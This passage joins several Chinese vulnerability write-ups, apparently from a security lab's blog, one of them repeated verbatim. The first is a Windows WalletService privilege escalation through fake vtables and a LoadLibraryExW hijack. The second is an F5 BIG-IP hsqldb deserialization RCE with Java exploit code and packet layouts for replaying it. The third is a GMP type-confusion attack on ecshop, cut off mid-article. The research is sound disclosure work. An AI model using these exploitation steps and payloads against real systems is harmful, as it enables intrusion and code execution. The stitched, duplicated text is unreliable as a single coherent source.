我们想要创建出 CustomProperty 对象,ida 搜索一下,发现有两个创建该对象的函数:Wallet::WalletItem::CreateCustomProperty() 和 Wallet::WalletXItem::CreateCustomProperty()。

img

所以我们创建一个 CustomProperty 需要一个 WalletXItem 对象或者 WalletItem 对象,那么使用哪个呢?继续用 ida 搜索 CreateWalletItem 或者 CreateWalletXItem,会发现只有 CreateWalletItem。

img

那到这里我们需要一个 WalletX 对象,继续用 ida 搜索会发现找不到 CreateWalletX,但是如果搜索 WalletX,会发现有个 WalletXFactory::CreateInstance(),如果有过 Com 组件开发经验的同学就会知道,这个是个工厂类创建接口类的函数,上面提到的 CoCreateInstance() 函数会使 WalletService 调用这个函数来创建出接口类返回给客户端。

img

那么如何调用 WalletXFactory::CreateInstance() 并创建出 WalletX 对象呢?我们需要在客户端使用 CoCreateInstance() 。

HRESULT CoCreateInstance(
    REFCLSID rclsid, // CLSID,用于找到工厂类    LPUNKNOWN pUnkOuter, // 设置为 NULL 即可    DWORD dwClsContext, // 设置为 CLSCTX_LOCAL_SERVER,一个宏    REFIID riid, // IID, 提供给工程类,用于创建接口类实例    LPVOID *ppv // 接口类实例指针的地址);

1.首先,我们需要 WalletXFactory 的 CLSID,可以使用 OLEViewDotNet 这个工具查看。

img

2.其次,我们需要一个 WalletX 的 IID,这个可以用 ida 直接看 WalletXFactory::CreateInstance() 这个函数。

img

有了 WalletXFactory 的 CLSID 和 WalletX 的 IID,然后在客户端调用 CoCreateInstance(),WalletService 就会调用 CLSID 对应的工厂类 WalletXFactory 的 CreateInstance(), 创建出 IID 对应的 WalletX 对象,并返回对象给客户端。

然后按照上面的分析,使用 WalletX::CreateWalletItem() 创建出 WalletItem 对象,然后使用 WalletItem::CreateCustomProperty() 创建出 CustomProperty 对象。

对于上面的步骤有疑问的同学可以去学一学 Com 组件开发,尤其是进程外组件开发。

伪造虚表,覆盖附表指针

由于同一个动态库,在不同的进程,它的加载基址也是一样的,我们可以知道所有dll里面的函数的地址,所以可以获得伪造的虚表里面的函数地址。

那么把虚表放哪里呢?直接想到的是放堆上。

但如果我们继续分析,会发现,CustomProperty 类里面有一个 string 对象,并且可以使用 CustomProperty::SetLabel() 对 string 类进行修改,所以,我们可以通过修改 string 类里面的 beg 指针 和 end 指针,然后调用 CustomProperty::SetLabel() 做到任意地址写。

img

有了任意地址写,我们选择把虚表放在 WalletService.dll 的 .data 节区,以避免放在堆上可能破坏堆上的数据导致程序崩溃。

控制程序流到 LoadLibrary 函数

使用伪造 vtable 并覆盖虚表指针的办法,我们可以通过调用虚函数控制 WalletService 的程序流到任意地址了。

那么怎么提权呢?在 windows 服务提权中,通常的办法是把程序流控制到可以执行 LoadLibrary() 等函数来加载一个由我们自己编写的动态链接库,因为在加载 dll 的时候会执行 dll 里面的 DllMain(),这个方法是最强大的也是最实用的。

这里使用漏洞提交者的方法,把虚表的某个地址覆盖成 dxgi.dll 里面的 ATL::CComObject\::`vector deleting destructor(),因为这个函数调用的 LoadLibraryExW() 会使用一个全局变量作为想要加载的 dll 的路径。

img

我们可以通过上面的 SetLabel() 进行任意地址写,修改上图的全局变量 Src,使其指向我们自己实现的动态链接库的路径,然后调用对应的虚表函数,使程序流执行到 LoadLibrarExW() 即可。

实现一个动态链接库

在 DllMain() 里面写上我们希望以高权限执行代码,然后调用虚表里面对应的函数是 WalletService 的程序流运行到 LoadLibraryEx() 即可。

注意,因为 windows 服务运行在后台,所以需要在 DllMain() 里面使用命名管道或者 socket 等技术来进行回显或者交互,其次由于执行的是 LoadLibraryExW(),所以这里的 dll 路径要使用宽字符。

其它

在控制虚表函数程序流到 LoadLibraryExW() 时,需要绕过下面两个 check。

第一个是需要设置 this+0x80 这个地址的值,使得下面的 and 操作为 true。

image-20200724111317787

第二个是要调整 qword_C5E88 和 qword_C5E80 是下面的变量 v4 指向具有写权限的内存。

image-20200724111819875

漏洞利用结果

可以获得管理员权限

image-20200724121314068

补丁前后对比

可以看到,打了补丁之后,get 方法和 set 方法都对 a2 参数添加了边界检测。

img

img

参考链接

[1] PoC链接
[2] 微软更新公告
[3] nvd漏洞评级

作者:[email protected]知道创宇404实验室

时间:2020年7月24日

原文地址:https://paper.seebug.org/1276/

F5 BIG-IP最近发生了一次比较严重的RCE漏洞,其中主要公开出来的入口就是tmsh与hsqldb方式,tmsh的利用与分析分析比较多了,如果复现过tmsh的利用,就应该知道这个地方利用有些鸡肋,后面不对tmsh进行分析,主要看下hsqldb的利用。hsqldb的利用poc已经公开,但是java hsqldb的https导致一直无法复现,尝试了各种方式也没办法了,只好换其他思路,下面记录下复现与踩坑的过程。

利用源码搭建一个hsqldb http servlet

如果调试过hsqldb,就应该知道hsqldb.jar的代码是无法下断点调试的,这是因为hsqldb中类的linenumber table信息没有了,linenumber table只是用于调式用的,对于代码的正常运行没有任何影响。看下正常编译的类与hqldb类的lineumber table区别:

使用javap -verbose hsqlServlet.class命令看下hsqldb中hsqlServlet.class类的详细信息:

Classfile /C:/Users/dell/Desktop/hsqlServlet.class
  Last modified 2018-11-14; size 128 bytes
  MD5 checksum 578c775f3dfccbf4e1e756a582e9f05c
public class hsqlServlet extends org.hsqldb.Servlet
  minor version: 0
  major version: 51
  flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
   #1 = Methodref          #3.#7          // org/hsqldb/Servlet."":()V
   #2 = Class              #8             // hsqlServlet
   #3 = Class              #9             // org/hsqldb/Servlet
   #4 = Utf8                  #5 = Utf8               ()V
   #6 = Utf8               Code
   #7 = NameAndType        #4:#5          // "":()V
   #8 = Utf8               hsqlServlet
   #9 = Utf8               org/hsqldb/Servlet
{
  public hsqlServlet();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=1, locals=1, args_size=1
         0: aload_0
         1: invokespecial #1                  // Method org/hsqldb/Servlet."":()V
         4: return
}

使用javap -verbose Test.class看下自己编译的类信息:

Classfile /C:/Users/dell/Desktop/Test.class
  Last modified 2020-7-13; size 586 bytes
  MD5 checksum eea80d1f399295a29f02f30a3764ff25
  Compiled from "Test.java"
public class Test
  minor version: 0
  major version: 51
  flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
   #1 = Methodref          #7.#22         // java/lang/Object."":()V
   #2 = Fieldref           #23.#24        // java/lang/System.out:Ljava/io/PrintStream;
   #3 = String             #25            // aaa
   #4 = Methodref          #26.#27        // java/io/PrintStream.println:(Ljava/lang/String;)V
   #5 = String             #19            // test
   #6 = Class              #28            // Test
   #7 = Class              #29            // java/lang/Object
   #8 = Utf8                  #9 = Utf8               ()V
  #10 = Utf8               Code
  #11 = Utf8               LineNumberTable
  #12 = Utf8               LocalVariableTable
  #13 = Utf8               this
  #14 = Utf8               LTest;
  #15 = Utf8               main
  #16 = Utf8               ([Ljava/lang/String;)V
  #17 = Utf8               args
  #18 = Utf8               [Ljava/lang/String;
  #19 = Utf8               test
  #20 = Utf8               SourceFile
  #21 = Utf8               Test.java
  #22 = NameAndType        #8:#9          // "":()V
  #23 = Class              #30            // java/lang/System
  #24 = NameAndType        #31:#32        // out:Ljava/io/PrintStream;
  #25 = Utf8               aaa
  #26 = Class              #33            // java/io/PrintStream
  #27 = NameAndType        #34:#35        // println:(Ljava/lang/String;)V
  #28 = Utf8               Test
  #29 = Utf8               java/lang/Object
  #30 = Utf8               java/lang/System
  #31 = Utf8               out
  #32 = Utf8               Ljava/io/PrintStream;
  #33 = Utf8               java/io/PrintStream
  #34 = Utf8               println
  #35 = Utf8               (Ljava/lang/String;)V
{
  public Test();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=1, locals=1, args_size=1
         0: aload_0
         1: invokespecial #1                  // Method java/lang/Object."":()V
         4: return
      LineNumberTable:
        line 1: 0
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       5     0  this   LTest;

  public static void main(java.lang.String[]);
    descriptor: ([Ljava/lang/String;)V
    flags: ACC_PUBLIC, ACC_STATIC
    Code:
      stack=2, locals=1, args_size=1
         0: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
         3: ldc           #3                  // String aaa
         5: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
         8: return
      LineNumberTable:
        line 3: 0
        line 4: 8
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       9     0  args   [Ljava/lang/String;

  public void test();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=2, locals=1, args_size=1
         0: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
         3: ldc           #5                  // String test
         5: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
         8: return
      LineNumberTable:
        line 7: 0
        line 8: 8
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       9     0  this   LTest;
}
SourceFile: "Test.java"

可以看到自己编译的类中,每个method中都有一个 LineNumberTable,这个信息就是用于调试的信息,但是hsqldb中没有这个信息,所以是无法调试下断点的,hsqldb应该在编译时添加了某些参数或者使用了其他手段来去除这些信息。

没办法调试是一件很难受的事情,我现在想到的有两种:

· 反编译hsqldb的代码,自己再重新编译,这样就有linenumber信息了,但是反编译再重新编译可能会遇到一些错误问题,这部分得自己手动把代码修改正确,这样确实是可行的,在后面f5的hsqldb分析中可以看到这种方式。

· 代码开源,直接用源码跑。

hsqldb的代码正好是开源的,那么这里就直接用源码来开启一个servlet吧。

环境:

· hsqldb source代码是1.8的,现在新版已经2.5.x了,为了和f5中的hsqldb吻合,还是用1.8的代码吧

· JDK7u21,F5 BIG-IP 14版本使用的JDK7,所以这里尽量和它吻合避免各种问题

虽然开源了,但是拖到idea依然还有些问题,我修改了一些代码,让他正常跑起来了,修改好的代码放到github上了,最后项目结构如下:

使用http方式利用hsqldb漏洞(ysoserial cc6,很多其他链也行):

public static void testLocal() throws IOException, ClassNotFoundException, SQLException {
        String url = "http://localhost:8080";
        String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser")));

        System.out.println(payload);

        String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
        Class.forName("org.hsqldb.jdbcDriver");

        Connection connection = DriverManager.getConnection(dburl, "sa", "");
        Statement statement = connection.createStatement();
        statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
        statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");
    }

利用requests发包模拟hsqldb RCE

java hsqldb https问题无法解决,那就用requests来发https包就可以了,先模拟http的包。

抓取上面利用java代码发送的payload包,一共发送了三个,第一个是连接包,连接hsqldb数据库的,第二、三包是执行语句的包:

3.png

根据代码看下第一个数据包返回的具体信息,主要读取与写入的信息都是由Result这个类处理的,一共20个字节:

· 1~4:总长度00000014,共20字节

· 5~8:mode,connection为ResultConstants.UPDATECOUNT,为1,00000001

· 9~12:databaseID,如果直接像上面这样默认配置,databaseID在服务端不会赋值,由jdk初始化为0,00000000

· 13~16:sessionID,这个值是DatabaseManager.newSession分配的值,每次连接都是一个新的值,本次为00000003

· 17~20:connection时,为updateCount,注释上面写的 max rows (out) or update count (in),如果像上面这样默认配置,updateCount在服务端不会赋值,由jdk初始化为0,00000000

连接信息分析完了,接下来的包肯定会利用到第一次返回包的信息,把他附加到后面发送包中,这里只分析下第二个发送包,第三个包和第二个是一样的,都是执行语句的包:

· 1~4:总长度00000082,这里为130

· 5~8:mode,这里为ResultConstants.SQLEXECDIRECT,0001000b

· 9~12:databaseID,为上面的00000000

· 13~16:sessionID,为上面的00000003

· 17~20:updateCount,为上面的00000000

· 21~25:statementID,这是客户端发送的,其实无关紧要,本次为00000000

· 26~30:执行语句的长度

· 31~:后面都是执行语句了

可以看到上面这个处理过程很简单,通过这个分析,很容易用requests发包了。对于https来说,只要设置verify=False就行了。

反序列化触发位置

这里反序列化触发位置在:

其实并不是org.hsqldb.util.ScriptTool.main这个地方导致的,而是hsqldb解析器语法解析中途导致的反序列化。将ScriptTool随便换一个都可以,例如org.hsqldb.sample.FindFile.main。

F5 BIG-IP hsqldb调试

如果还想调试下F5 BIG-IP hsqldb,也是可以的,F5 BIG-IP里面的hsqldb自己加了些代码,反编译他的代码,然后修改反编译出来的代码错误,再重新打包放进去,就可以调试了。

F5 BIG-IP hsqldb回显

· 既然能反序列化了,那就可以结合Template相关的利用链写到response

· 利用命令执行找socket的fd文件,写到socket

· 这次本来就有一个fileRead.jsp,命令执行完写到这里就可以了

hsqldb的连接安全隐患

从数据包可以看到,hsqldb第一次返回信息并不多,在后面附加用到的信息也就databaseID,sessionID,updateCount,且都只为4字节(32位),但是总有数字很小的连接排在前面,所以可以通过爆破出可用的databaseID、sessionID、updateCount。不过对于本次的F5 BIG-IP,直接用上面默认的就行了,无需爆破。

总结

虽然写得不多,写完了看起来还挺容易,不过过程其实还是很艰辛的,一开始并不是根据代码看包的,只是发了几个包对比然后就写了个脚本,结果跑不了F5 BIG-IP hsqldb,后面还是调试了F5 hsqldb代码,很多问题需要解决。同时还看到了hsqldb其实是存在一定安全隐患的,如果我们直接爆破databaseID,sessionID,updateCount,也很容易爆破出可用的databaseID,sessionID,updateCount。

作者:[email protected]知道创宇404实验室

时间:2020年7月10日

English Version: https://paper.seebug.org/1272/

原文链接:https://paper.seebug.org/1271/

F5 BIG-IP最近发生了一次比较严重的RCE漏洞,其中主要公开出来的入口就是tmsh与hsqldb方式,tmsh的利用与分析分析比较多了,如果复现过tmsh的利用,就应该知道这个地方利用有些鸡肋,后面不对tmsh进行分析,主要看下hsqldb的利用。hsqldb的利用poc已经公开,但是java hsqldb的https导致一直无法复现,尝试了各种方式也没办法了,只好换其他思路,下面记录下复现与踩坑的过程。

利用源码搭建一个hsqldb http servlet

如果调试过hsqldb,就应该知道hsqldb.jar的代码是无法下断点调试的,这是因为hsqldb中类的linenumber table信息没有了,linenumber table只是用于调式用的,对于代码的正常运行没有任何影响。看下正常编译的类与hqldb类的lineumber table区别:

使用javap -verbose hsqlServlet.class命令看下hsqldb中hsqlServlet.class类的详细信息:

Classfile /C:/Users/dell/Desktop/hsqlServlet.class
  Last modified 2018-11-14; size 128 bytes
  MD5 checksum 578c775f3dfccbf4e1e756a582e9f05c
public class hsqlServlet extends org.hsqldb.Servlet
  minor version: 0
  major version: 51
  flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
   #1 = Methodref          #3.#7          // org/hsqldb/Servlet."":()V
   #2 = Class              #8             // hsqlServlet
   #3 = Class              #9             // org/hsqldb/Servlet
   #4 = Utf8                  #5 = Utf8               ()V
   #6 = Utf8               Code
   #7 = NameAndType        #4:#5          // "":()V
   #8 = Utf8               hsqlServlet
   #9 = Utf8               org/hsqldb/Servlet
{
  public hsqlServlet();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=1, locals=1, args_size=1
         0: aload_0
         1: invokespecial #1                  // Method org/hsqldb/Servlet."":()V
         4: return
}

使用javap -verbose Test.class看下自己编译的类信息:

Classfile /C:/Users/dell/Desktop/Test.class
  Last modified 2020-7-13; size 586 bytes
  MD5 checksum eea80d1f399295a29f02f30a3764ff25
  Compiled from "Test.java"
public class Test
  minor version: 0
  major version: 51
  flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
   #1 = Methodref          #7.#22         // java/lang/Object."":()V
   #2 = Fieldref           #23.#24        // java/lang/System.out:Ljava/io/PrintStream;
   #3 = String             #25            // aaa
   #4 = Methodref          #26.#27        // java/io/PrintStream.println:(Ljava/lang/String;)V
   #5 = String             #19            // test
   #6 = Class              #28            // Test
   #7 = Class              #29            // java/lang/Object
   #8 = Utf8                  #9 = Utf8               ()V
  #10 = Utf8               Code
  #11 = Utf8               LineNumberTable
  #12 = Utf8               LocalVariableTable
  #13 = Utf8               this
  #14 = Utf8               LTest;
  #15 = Utf8               main
  #16 = Utf8               ([Ljava/lang/String;)V
  #17 = Utf8               args
  #18 = Utf8               [Ljava/lang/String;
  #19 = Utf8               test
  #20 = Utf8               SourceFile
  #21 = Utf8               Test.java
  #22 = NameAndType        #8:#9          // "":()V
  #23 = Class              #30            // java/lang/System
  #24 = NameAndType        #31:#32        // out:Ljava/io/PrintStream;
  #25 = Utf8               aaa
  #26 = Class              #33            // java/io/PrintStream
  #27 = NameAndType        #34:#35        // println:(Ljava/lang/String;)V
  #28 = Utf8               Test
  #29 = Utf8               java/lang/Object
  #30 = Utf8               java/lang/System
  #31 = Utf8               out
  #32 = Utf8               Ljava/io/PrintStream;
  #33 = Utf8               java/io/PrintStream
  #34 = Utf8               println
  #35 = Utf8               (Ljava/lang/String;)V
{
  public Test();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=1, locals=1, args_size=1
         0: aload_0
         1: invokespecial #1                  // Method java/lang/Object."":()V
         4: return
      LineNumberTable:
        line 1: 0
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       5     0  this   LTest;

  public static void main(java.lang.String[]);
    descriptor: ([Ljava/lang/String;)V
    flags: ACC_PUBLIC, ACC_STATIC
    Code:
      stack=2, locals=1, args_size=1
         0: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
         3: ldc           #3                  // String aaa
         5: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
         8: return
      LineNumberTable:
        line 3: 0
        line 4: 8
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       9     0  args   [Ljava/lang/String;

  public void test();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=2, locals=1, args_size=1
         0: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
         3: ldc           #5                  // String test
         5: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
         8: return
      LineNumberTable:
        line 7: 0
        line 8: 8
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       9     0  this   LTest;
}
SourceFile: "Test.java"

可以看到自己编译的类中,每个method中都有一个 LineNumberTable,这个信息就是用于调试的信息,但是hsqldb中没有这个信息,所以是无法调试下断点的,hsqldb应该在编译时添加了某些参数或者使用了其他手段来去除这些信息。

没办法调试是一件很难受的事情,我现在想到的有两种:

· 反编译hsqldb的代码,自己再重新编译,这样就有linenumber信息了,但是反编译再重新编译可能会遇到一些错误问题,这部分得自己手动把代码修改正确,这样确实是可行的,在后面f5的hsqldb分析中可以看到这种方式。

· 代码开源,直接用源码跑。

hsqldb的代码正好是开源的,那么这里就直接用源码来开启一个servlet吧。

环境:

· hsqldb source代码是1.8的,现在新版已经2.5.x了,为了和f5中的hsqldb吻合,还是用1.8的代码吧

· JDK7u21,F5 BIG-IP 14版本使用的JDK7,所以这里尽量和它吻合避免各种问题

虽然开源了,但是拖到idea依然还有些问题,我修改了一些代码,让他正常跑起来了,修改好的代码放到github上了,最后项目结构如下:

使用http方式利用hsqldb漏洞(ysoserial cc6,很多其他链也行):

public static void testLocal() throws IOException, ClassNotFoundException, SQLException {
        String url = "http://localhost:8080";
        String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser")));

        System.out.println(payload);

        String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
        Class.forName("org.hsqldb.jdbcDriver");

        Connection connection = DriverManager.getConnection(dburl, "sa", "");
        Statement statement = connection.createStatement();
        statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
        statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");
    }

利用requests发包模拟hsqldb RCE

java hsqldb https问题无法解决,那就用requests来发https包就可以了,先模拟http的包。

抓取上面利用java代码发送的payload包,一共发送了三个,第一个是连接包,连接hsqldb数据库的,第二、三包是执行语句的包:

3.png

根据代码看下第一个数据包返回的具体信息,主要读取与写入的信息都是由Result这个类处理的,一共20个字节:

· 1~4:总长度00000014,共20字节

· 5~8:mode,connection为ResultConstants.UPDATECOUNT,为1,00000001

· 9~12:databaseID,如果直接像上面这样默认配置,databaseID在服务端不会赋值,由jdk初始化为0,00000000

· 13~16:sessionID,这个值是DatabaseManager.newSession分配的值,每次连接都是一个新的值,本次为00000003

· 17~20:connection时,为updateCount,注释上面写的 max rows (out) or update count (in),如果像上面这样默认配置,updateCount在服务端不会赋值,由jdk初始化为0,00000000

连接信息分析完了,接下来的包肯定会利用到第一次返回包的信息,把他附加到后面发送包中,这里只分析下第二个发送包,第三个包和第二个是一样的,都是执行语句的包:

· 1~4:总长度00000082,这里为130

· 5~8:mode,这里为ResultConstants.SQLEXECDIRECT,0001000b

· 9~12:databaseID,为上面的00000000

· 13~16:sessionID,为上面的00000003

· 17~20:updateCount,为上面的00000000

· 21~25:statementID,这是客户端发送的,其实无关紧要,本次为00000000

· 26~30:执行语句的长度

· 31~:后面都是执行语句了

可以看到上面这个处理过程很简单,通过这个分析,很容易用requests发包了。对于https来说,只要设置verify=False就行了。

反序列化触发位置

这里反序列化触发位置在:

其实并不是org.hsqldb.util.ScriptTool.main这个地方导致的,而是hsqldb解析器语法解析中途导致的反序列化。将ScriptTool随便换一个都可以,例如org.hsqldb.sample.FindFile.main。

F5 BIG-IP hsqldb调试

如果还想调试下F5 BIG-IP hsqldb,也是可以的,F5 BIG-IP里面的hsqldb自己加了些代码,反编译他的代码,然后修改反编译出来的代码错误,再重新打包放进去,就可以调试了。

F5 BIG-IP hsqldb回显

· 既然能反序列化了,那就可以结合Template相关的利用链写到response

· 利用命令执行找socket的fd文件,写到socket

· 这次本来就有一个fileRead.jsp,命令执行完写到这里就可以了

hsqldb的连接安全隐患

从数据包可以看到,hsqldb第一次返回信息并不多,在后面附加用到的信息也就databaseID,sessionID,updateCount,且都只为4字节(32位),但是总有数字很小的连接排在前面,所以可以通过爆破出可用的databaseID、sessionID、updateCount。不过对于本次的F5 BIG-IP,直接用上面默认的就行了,无需爆破。

总结

虽然写得不多,写完了看起来还挺容易,不过过程其实还是很艰辛的,一开始并不是根据代码看包的,只是发了几个包对比然后就写了个脚本,结果跑不了F5 BIG-IP hsqldb,后面还是调试了F5 hsqldb代码,很多问题需要解决。同时还看到了hsqldb其实是存在一定安全隐患的,如果我们直接爆破databaseID,sessionID,updateCount,也很容易爆破出可用的databaseID,sessionID,updateCount。

作者:[email protected]知道创宇404实验室

时间:2020年7月10日

English Version: https://paper.seebug.org/1272/

原文链接:https://paper.seebug.org/1271/

本文初完成于2020年3月31日,由于涉及到0day利用,所以于2020年3月31日报告厂商、CNVD漏洞平台,满足90天漏洞披露期,遂公开。

前几天偶然看到了一篇在Hackerone上提交的漏洞报告,在这个漏洞中,漏洞发现者提出了很有趣的利用,作者利用GMP的一个类型混淆漏洞,配合相应的利用链可以构造mybb的一次代码执行,这里我们就一起来看看这个漏洞。

https://hackerone.com/reports/198734

以下文章部分细节,感谢漏洞发现者@taoguangchen的帮助。

GMP类型混淆漏洞

· https://bugs.php.net/bug.php?id=70513

漏洞利用条件

· php 5.6.x

· 反序列化入口点

· 可以触发__wakeup的触发点(在php < 5.6.11以下,可以使用内置类)

漏洞详情

gmp.c

static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
    ...
    ALLOC_INIT_ZVAL(zv_ptr);
    if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
        || Z_TYPE_P(zv_ptr) != IS_ARRAY
    ) {
        zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
        goto exit;
    }

    if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
        zend_hash_copy(
            zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
            (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
        );
    }

zend_object_handlers.c

ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
    zend_object *zobj;
    zobj = Z_OBJ_P(object);
    if (!zobj->properties) {
        rebuild_object_properties(zobj);
    }
    return zobj->properties;
}

从gmp.c中的片段中我们可以大致理解漏洞发现者taoguangchen的原话。

__wakeup等魔术方法可以导致ZVAL在内存中被修改。因此,攻击者可以将**object转化为整数型或者bool型的ZVAL,那么我们就可以通过Z_OBJ_P访问存储在对象储存中的任何对象,这也就意味着可以通过zend_hash_copy覆盖任何对象中的属性,这可能导致很多问题,在一定场景下也可以导致安全问题。

或许仅凭借代码片段没办法理解上述的话,但我们可以用实际测试来看看。

首先我们来看一段测试代码

image.png

在代码中我展示了多种不同情况下的环境。

让我们来看看结果是什么?

array(1) {
  [0]=>
  &int(1)
}
object(stdClass)#1 (3) {
  ["aa"]=>
  string(2) "hi"
  ["bb"]=>
  string(2) "hi"
  [0]=>
  object(obj)#5 (1) {
    ["ryat"]=>
    &int(1)
  }
}
object(b)#2 (1) {
  ["ryat"]=>
  int(1)
}
object(stdClass)#3 (1) {
  ["aa"]=>
  int(2)
}
object(stdClass)#4 (0) {
}

我成功修改了第一个声明的对象。

但如果我将反序列化的类改成b会发生什么呢?

$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';

很显然的是,并不会影响到其他的类变量

array(1) {
  [0]=>
  &object(GMP)#4 (4) {
    ["aa"]=>
    string(2) "hi"
    ["bb"]=>
    string(2) "hi"
    [0]=>
    object(b)#5 (1) {
      ["ryat"]=>
      &object(GMP)#4 (4) {
        ["aa"]=>
        string(2) "hi"
        ["bb"]=>
        string(2) "hi"
        [0]=>
        *RECURSION*
        ["num"]=>
        string(2) "32"
      }
    }
    ["num"]=>
    string(2) "32"
  }
}
object(stdClass)#1 (2) {
  ["aa"]=>
  int(1)
  ["bb"]=>
  int(2)
}
object(b)#2 (1) {
  ["ryat"]=>
  int(1)
}
object(stdClass)#3 (1) {
  ["aa"]=>
  int(2)
}
object(stdClass)#6 (0) {
}

如果我们给class b加一个__Wakeup函数,那么又会产生一样的效果。

但如果我们把wakeup魔术方法中的变量设置为2

class obj{
    var $ryat;

    function __wakeup()
    {
        $this->ryat = 2;
    }}

返回的结果可以看出来,我们成功修改了第二个声明的对象。

array(1) {
  [0]=>
  &int(2)
}
object(stdClass)#1 (2) {
  ["aa"]=>
  int(1)
  ["bb"]=>
  int(2)
}
object(b)#2 (4) {
  ["ryat"]=>
  int(1)
  ["aa"]=>
  string(2) "hi"
  ["bb"]=>
  string(2) "hi"
  [0]=>
  object(obj)#5 (1) {
    ["ryat"]=>
    &int(2)
  }
}
object(stdClass)#3 (1) {
  ["aa"]=>
  int(2)
}
object(stdClass)#4 (0) {
}

但如果我们把ryat改为4,那么页面会直接返回500,因为我们修改了没有分配的对象空间。

在完成前面的试验后,我们可以把漏洞的利用条件简化一下。

如果我们有一个可控的反序列化入口,目标后端PHP安装了GMP插件(这个插件在原版php中不是默认安装的,但部分打包环境中会自带),如果我们找到一个可控的__wakeup魔术方法,我们就可以修改反序列化前声明的对象属性,并配合场景产生实际的安全问题。

如果目标的php版本在5.6 <= 5.6.11中,我们可以直接使用内置的魔术方法来触发这个漏洞。

var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));

真实世界案例

在讨论完GMP类型混淆漏洞之后,我们必须要讨论一下这个漏洞在真实场景下的利用方式。

漏洞的发现者Taoguang Chen提交了一个在mybb中的相关利用。

https://hackerone.com/reports/198734

这里我们不继续讨论这个漏洞,而是从头讨论一下在ecshop中的利用方式。

漏洞环境

· ecshop 4.0.7

· php 5.6.9

反序列化漏洞

首先我们需要找到一个反序列化入口点,这里我们可以全局搜索unserialize,挨个看一下我们可以找到两个可控的反序列化入口。

其中一个是search.php line 45

...
{
    $string = base64_decode(trim($_GET['encode']));

    if ($string !== false)
    {
        $string = unserialize($string);
        if ($string !== false)
...

这是一个前台的入口,但可惜的是引入初始化文件在反序列化之后,这也就导致我们没办法找到可以覆盖类变量属性的目标,也就没办法进一步利用。

还有一个是admin/order.php line 229

    /* 取得上一个、下一个订单号 */
    if (!empty($_COOKIE['ECSCP']['lastfilter']))
    {
        $filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));

       ...

后台的表单页的这个功能就满足我们的要求了,不但可控,还可以用urlencode来绕过ecshop对全局变量的过滤。

这样一来我们就找到了一个可控并且合适的反序列化入口点。

寻找合适的类属性利用链

在寻找利用链之前,我们可以用

get_declared_classes()

来确定在反序列化时,已经声明定义过的类。

在我本地环境下,除了PHP内置类以外我一共找到13个类

  [129]=>
  string(3) "ECS"
  [130]=>
  string(9) "ecs_error"
  [131]=>
  string(8) "exchange"
  [132]=>
  string(9) "cls_mysql"
  [133]=>
  string(11) "cls_session"
  [134]=>
  string(12) "cls_template"
  [135]=>
  string(11) "certificate"
  [136]=>
  string(6) "oauth2"
  [137]=>
  string(15) "oauth2_response"
  [138]=>
  string(14) "oauth2_request"
  [139]=>
  string(9) "transport"
  [140]=>
  string(6) "matrix"
  [141]=>
  string(16) "leancloud_client"

从代码中也可以看到在文件头引入了多个库文件

require(dirname(__FILE__) . '/includes/init.php');
require_once(ROOT_PATH . 'includes/lib_order.php');
require_once(ROOT_PATH . 'includes/lib_goods.php');
require_once(ROOT_PATH . 'includes/cls_matrix.php');
include_once(ROOT_PATH . 'includes/cls_certificate.php');
require('leancloud_push.php');

这里我们主要关注init.php,因为在这个文件中声明了ecshop的大部分通用类。

在逐个看这里面的类变量时,我们可以敏锐的看到一个特殊的变量,由于ecshop的后台结构特殊,页面内容大多都是由模板编译而成,而这个模板类恰好也在init.php中声明

require(ROOT_PATH . 'includes/cls_template.php');
$smarty = new cls_template;

回到order.php中我们寻找与$smarty相关的方法,不难发现,主要集中在两个方法中

...
